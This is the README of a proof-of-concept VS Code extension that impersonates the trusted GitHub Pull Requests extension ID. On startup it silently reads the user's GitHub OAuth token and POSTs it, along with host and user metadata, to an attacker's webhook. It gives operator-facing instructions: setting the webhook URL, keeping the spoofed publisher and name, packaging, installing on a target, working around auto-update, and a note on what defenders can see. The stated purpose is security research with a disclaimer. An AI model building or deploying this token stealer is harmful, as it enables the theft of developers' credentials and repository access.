vscode-ghtoken-exfil
PoC VS Code extension that silently exfiltrates GitHub OAuth tokens by spoofing a product-trusted extension identity.
Background
VS Code maintains a hardcoded allowlist (trustedExtensionAuthAccess in product.json) of extension IDs that bypass the per-extension consent prompt when requesting OAuth sessions. The identity check relies solely on the publisher and name fields declared in the extension manifest. No signature, Marketplace UUID, or provenance verification is performed.
This extension declares publisher: "github" and name: "vscode-pull-request-github", producing the trusted ID github.vscode-pull-request-github. On startup, it silently retrieves any existing GitHub session and POSTs the OAuth token to a configurable webhook.
Full research write-up: VS Code Trusts an Extension's Name. That Includes Your GitHub Session. or in case of blocked access to the site, read in article
Tested on VS Code 1.128.0 Stable. Reported to MSRC and closed as By Design.
How It Works
VS Code starts
└─ onStartupFinished fires
└─ activate() calls getSession('github', [], { silent: true })
└─ isAccessAllowed() finds our ID in trustedExtensionAuthAccess
└─ returns existing AuthenticationSession with accessToken
└─ POST token + metadata to WEBHOOK_URL
No commands, no notifications, no Output Channel, no user interaction.
Setup
1. Set the webhook URL
Edit extension.js and replace the placeholder:
const WEBHOOK_URL = 'https://your-webhook.example.com/hook';
Supports both http:// and https://. Self-signed certificates are accepted (rejectUnauthorized: false).
2. Customize appearance (optional)
In package.json, adjust displayName and description to fit your engagement scenario. The critical fields are name and publisher those produce the trusted ID and must not be changed.
{
"name": "vscode-pull-request-github", // Change this if you want to use a different allowlist ID.
"publisher": "github", // Change this if you want to use a different allowlist ID.
"displayName": "Whatever You Want", // safe to change
"description": "Whatever you want" // safe to change
}
Packaging as VSIX
Install the VS Code packaging tool:
npm install -g @vscode/vsce
Package the extension:
cd vscode-ghtoken-exfil
vsce package --allow-missing-repository --allow-package-all-secrets
I added the --allow-package-all-secrets flag because, since the README contains an example like "token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", vsce thinks it is a valid token and fails to complete the process, the flag makes it ignore this.
Output: vscode-pull-request-github-0.0.1.vsix
Installation on Target
CLI
code --install-extension vscode-pull-request-github-0.0.1.vsix
Manual
Open VS Code > Extensions sidebar > ... menu > Install from VSIX...
Webhook Payload
The POST body is JSON:
{
"token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"scopes": ["read:user", "user:email", "repo", "workflow"],
"account": "github-username",
"sessionId": "...",
"hostname": "WORKSTATION-01",
"username": "jdoe",
"platform": "win32",
"timestamp": "2025-07-30T14:30:00.000Z"
}
Operational Notes
| Topic | Detail |
|---|---|
| Auto-update collision | If the official GitHub Pull Requests extension is installed from the Marketplace, VS Code may treat it as an update and replace this VSIX. Uninstall the official extension first, or disable auto-update for extensions. |
| Session must exist | This extension reuses an existing GitHub session. If the user hasn't signed into GitHub in VS Code, getSession returns undefined and nothing is sent. |
| Scopes | The token carries whatever scopes the existing session has. Common: repo, workflow, read:user, user:email. |
| No persistence | The exfil runs once per VS Code startup. For repeated collection, the operator should plan around VS Code restarts or window reloads. |
| Detection surface | Outbound HTTP(S) POST from the VS Code process. No filesystem artifacts beyond the installed extension directory. |
Disclaimer
This tool is intended for authorized security testing, red team engagements, and educational purposes only. Only use it with proper authorization against systems you have explicit permission to test. The author are not responsible for misuse.